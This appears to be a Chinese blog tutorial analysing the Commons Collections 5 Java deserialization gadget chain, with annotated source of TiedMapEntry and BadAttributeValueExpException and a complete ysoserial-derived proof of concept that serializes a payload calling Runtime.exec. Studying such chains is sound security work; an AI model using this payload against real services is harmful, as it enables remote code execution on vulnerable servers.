环境准备

JDK1.8(8u421)我以本地的JDK8版本为准、commons-collections(3.x 4.x均可这里使用3.2版本)

cc3.2:

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2</version>
</dependency>

正文

CC1攻击链:https://www.cnblogs.com/erosion2020/p/18553568

CC5是 CC1 的一个变种,CC1在JDK1.8之后对AnnotationInvocationHandler 进行了修复,使得攻击链不能被正常利用,在CC5提到的攻击链中使用了TiedMapEntry以及BadAttributeValueExpException来完成攻击链的触发。

让我们来看一下为什么通过这两个类可以完成攻击链的触发。

TiedMapEntry

TiedMapEntryCommons Collections 中的一个类,它主要用于将一个 Map 的键值对与其他对象绑定起来,形成一个 "绑定"(tied)关系。这个类的目的是允许 Map 条目(即键值对)与附加的对象(比如某些回调函数或特殊处理对象)一起存储。具体来说,TiedMapEntry 通过包装 Map 的条目,并与目标对象一起存储,来支持一些懒加载机制或触发特定的操作。

CC5中的应用

CC5(Commons Collections 5) 的攻击链中,TiedMapEntry 起到了关键的“桥梁”作用。攻击者利用 TiedMapEntryLazyMap 的结合来构建攻击链。

  1. LazyMap 的懒加载机制LazyMap 被用来延迟加载对象,攻击者通过将恶意代码与 LazyMap 绑定,延迟执行某些操作。TiedMapEntry 在这里负责将恶意的 LazyMap 对象和其他需要的对象绑定在一起。
  2. TiedMapEntryLazyMap 配合:攻击者可以将 TiedMapEntryLazyMap 一起使用,通过访问 LazyMap 中的条目,来触发懒加载的恶意代码。这个过程通常是在反序列化时自动发生的。
  3. 触发反序列化时的恶意操作:当反序列化包含 TiedMapEntry 的对象时,访问 TiedMapEntrygetValue() 方法会触发与之绑定的恶意操作,最终可能执行恶意代码。

关键代码分析

public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
private static final long serialVersionUID = -8453869361373831205L;
private final Map map;
private final Object key; public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
......
public Object getKey() {
return this.key;
}
// action1: 会执行到这个地方
// 最终要把Map变成一个LazyMap,那这样的话就会触发LazyMap的get方法,而LazyMap中的get方法则会触发transformer方法
public Object getValue() {
return this.map.get(this.key);
}
// action0: 重点在这个方法中,他调用了getValue方法
public String toString() {
return this.getKey() + "=" + this.getValue();
}
}

BadAttributeValueExpException

BadAttributeValueExpExceptionjavax.management 包中的一个类,通常用于描述与 Java Management Extensions (JMX) 相关的异常。该类的构造方法接受一个 Object 类型的参数 val,代表异常的具体值。

在安全漏洞利用中,BadAttributeValueExpException 常被用作反序列化攻击链的一部分。由于其 val 字段是可访问的,攻击者可以通过将恶意对象(例如 TiedMapEntry)赋值给该字段,间接触发恶意代码的执行。

CC5中的应用

CC5 攻击链中,BadAttributeValueExpException 是触发攻击链的关键对象之一。攻击者通过反序列化时将 TiedMapEntry 或其他恶意对象设置为 val 字段的值,使得反序列化过程中触发恶意的代码执行。

CC5 攻击链的具体应用:

  1. 构造 BadAttributeValueExpException:首先构造一个 BadAttributeValueExpException 对象,并通过反射将恶意的 TiedMapEntry 对象设置到 val 字段中。
  2. 触发反序列化:在反序列化过程中,BadAttributeValueExpExceptionval 字段会被访问,而这个字段绑定了一个 TiedMapEntry 对象。此时,TiedMapEntrygetValue() 方法被调用,从而触发 LazyMap 的懒加载操作。
  3. 执行恶意代码LazyMap 中的 Transformer 链会被触发,最终执行绑定的恶意操作(如执行命令、反向连接等)。

关键代码分析

public class BadAttributeValueExpException extends Exception   {
private static final long serialVersionUID = -3105272988410493376L;
// 要把val构造成一个TiedMapEntry,这样在执行反序列化方法readObject时就会触发TiedMapEntry.toString方法
// 然后TiedMapEntry.toString方法会执行TiedMapEntry.getValue方法,然后会执行到LazyMap.get(this.key)
// LazyMap.get方法中会调用Transformer.transformer方法,而这里的Transformer就是我们精心构造的TransformerChained
private Object val;
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
} private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
// 重点是这个方法
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
}

构造POC

一样,这里还是直接把ysoserial的代码转换成本地可以直接执行调试的代码

public class CommonsCollections5 {
static String serialFileName = "commons-collections5.ser"; public static void main(String[] args) throws Exception {
cc5byYsoSerial();
verify();
} public static void verify() throws Exception {
// 本地模拟反序列化
FileInputStream fis = new FileInputStream(serialFileName);
ObjectInputStream ois = new ObjectInputStream(fis);
Object ignore = (Object) ois.readObject();
} public static void cc5byYsoSerial() throws Exception {
String execArgs = "cmd /c start";
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{execArgs}),
new ConstantTransformer(1) };
// 等同于ysoserial中的Reflections.setFieldValue(transformerChain, "iTransformers", transformers);写法
Class<?> transformer = Class.forName(ChainedTransformer.class.getName());
Field iTransformers = transformer.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);
// 先创建LazyMap,用来将transformerChain包装成一个Map,当Map中的get方法被触发时就能直接触发到调用链
final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, entry); FileOutputStream fos = new FileOutputStream(serialFileName);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(val);
oos.flush();
oos.close();
}
}

调试

来弹个cmd

调用链

其实和CC1的调用链非常非常像,只是攻击链的触发点不一样

  • ObjectInputStream.readObject()

    • BadAttributeValueExpException.readObject()

      • TiedMapEntry.toString()

        • TiedMapEntry.getValue()

          • LazyMap.get()

            • ChainedTransformer.transform()

              • ConstantTransformer.transform()

                • InvokerTransformer.transform()

                  • Method.invoke()
                  • Class.getMethod()
                • InvokerTransformer.transform()
                  • Method.invoke()
                  • Runtime.getRuntime()
                • InvokerTransformer.transform()
                  • Method.invoke()
                  • Runtime.exec()

CommonsCollections5(基于ysoserial)的更多相关文章

  1. ysoserial分析【一】 之 Apache Commons Collections

    目录 前言 基础知识 Transformer 利用InvokerTransformer造成命令执行 Map TransformedMap LazyMap AnnotationInvocationHan ...

  2. Java unserialize serialized Object(AnnotationInvocationHandler、ysoserial) In readObject() LeadTo InvokerTransformer(Evil MethodName/Args)

    Java unserialize serialized Object(AnnotationInvocationHandler.ysoserial) In readObject() LeadTo Tra ...

  3. 基于CommonsCollections4的Gadget分析

    基于CommonsCollections4的Gadget分析 Author:Welkin 0x1 背景及概要 随着Java应用的推广和普及,Java安全问题越来越被人们重视,纵观近些年来的Java安全 ...

  4. ysoserial Commons Collections1反序列化研究

    Apache Commons Collections1反序列化研究 环境准备 Apache Commons Collections 3.1版本 IDEA 需要一些java基础,反射.类对象.Class ...

  5. YsoSerial 工具常用Payload分析之URLDNS

    本文假设你对Java基本数据结构.Java反序列化.高级特性(反射.动态代理)等有一定的了解. 背景 YsoSerial是一款反序列化利用的便捷工具,可以很方便的生成基于多种环境的反序列化EXP.ja ...

  6. YsoSerial 工具常用Payload分析之CC3(二)

    这是CC链分析的第二篇文章,我想按着common-collections的版本顺序来介绍,所以顺序为 cc1.3.5.6.7(common-collections 3.1),cc2.4(common- ...

  7. YsoSerial 工具常用Payload分析之Common-Collections2、4(五)

    前言 Common-Collections <= 3.2.1 对应与YsoSerial为CC1.3.5.6.7 ,Commno-collections4.0对应与CC2.4. 这篇文章结束官方原 ...

  8. Ysoserial Commons Collections7分析

    Ysoserial Commons Collections7分析 写在前面 CommonsCollections Gadget Chains CommonsCollection Version JDK ...

  9. 最近帮客户实施的基于SQL Server AlwaysOn跨机房切换项目

    最近帮客户实施的基于SQL Server AlwaysOn跨机房切换项目 最近一个来自重庆的客户找到走起君,客户的业务是做移动互联网支付,是微信支付收单渠道合作伙伴,数据库里存储的是支付流水和交易流水 ...

  10. 自定义基于 VLC 的视频播放器

    前言(蛋疼的背景故事) 前段时间,接了一个小项目,有个需求是要在系统待机一段时间以后,循环播放 MV(类似于 Windows 系统的屏幕保护). 听到这个需求,我首先想到的是 MediaPlayer ...

随机推荐

  1. TwinCAT3 - 实现CiA402

    目录 1,起缘 2,想办法 3,开搞 3.1,CANOpen通信 3.1.1 对象字典 3.1.2 通信建立 3.2,CiA402伺服状态机 3.3,伺服运行 3.3.1 操作模式 3.3.2 轮廓位 ...

  2. 淘宝订单信息获取接口,淘宝订单信息获取API

    在日常电商软件开发的工作中,我们经常会遇到需要淘宝的订单信息的场景,比如:打单.发货,又比如做BI工具等.这就需要用到淘宝订单信息获取接口.只有获取到淘宝订单信息,才能进行下一步工作. 目前这个接口是 ...

  3. C++ : 仅添加一个引用& 就直接导致程序崩溃

    问题描述 在项目某次开发中,测试过程中出现了coredump问题.经过asan工具检测,报了heap-use-after-free内存错误,最终定位到竟是无意中添加了一个引用&导致的! 开发时 ...

  4. 强!70.3K star ! 推荐一款功能强大、开源、可视化的性能实时监控系统:Netdata

    在当今复杂多变的IT环境中,系统性能的实时监控与分析对于确保业务连续性.系统稳定运行以及快速故障排查至关重要.随着云计算.大数据和微服务架构的普及,对监控系统的要求也日益增高. 今天给大家推荐一款性能 ...

  5. DOM – Web Components

    前言 Web Components 已经听过很多年了, 但在开发中用纯 DOM 来实现还是比较少见的. 通常我们是配搭 Angular, React, Vue, Lit 来使用. 这篇就来讲讲纯 We ...

  6. Azure 入门系列 (第三篇 Publish Web Application to VM)

    本系列 这个系列会介绍从 0 到 1 搭建一个 Web Application 的 Server. 间中还会带上一些真实开发常用的功能. 一共 6 篇 1. Virtual Machine (VM) ...

  7. QT原理与源码分析之如何开发一个自定义的绘图设备和QT绘图引擎?

    简介 本文将介绍如何自定义QT绘图设备类和如何自定义QT绘图引擎类. 目录 QT绘图设备抽象类QPaintDevice QT绘图引擎抽象类QPaintEngine 自定义绘图设备类 自定义绘图引擎类 ...

  8. 某游戏厂商 hdfs 迁移 distcp failing write attempt Tried pipline recovery 5 times without success 问题排查

    报错截图: 从报错信息看是 distcp 起的map 任务在写 hdfs 的 pipline 失败了,并且重试了5次没有成功,所以这个 task 直接抛出错误失败被 kill 了. 先说解决办法: 清 ...

  9. java爬取航班实时数据

    使用jsoup获取航班实时数据 优先使用携程航班数据  如果携程航班数据返回为空 则使用去哪儿航班信息 pom.xml <dependency> <groupId>org.js ...

  10. 系统 内核启动期间使用ftrace

    启动阶段使能event trace 同上,配置commandline: trace_event=sched:*,timer:*,irq:* trace_buf_size=40M 有上面的实例可以知道, ...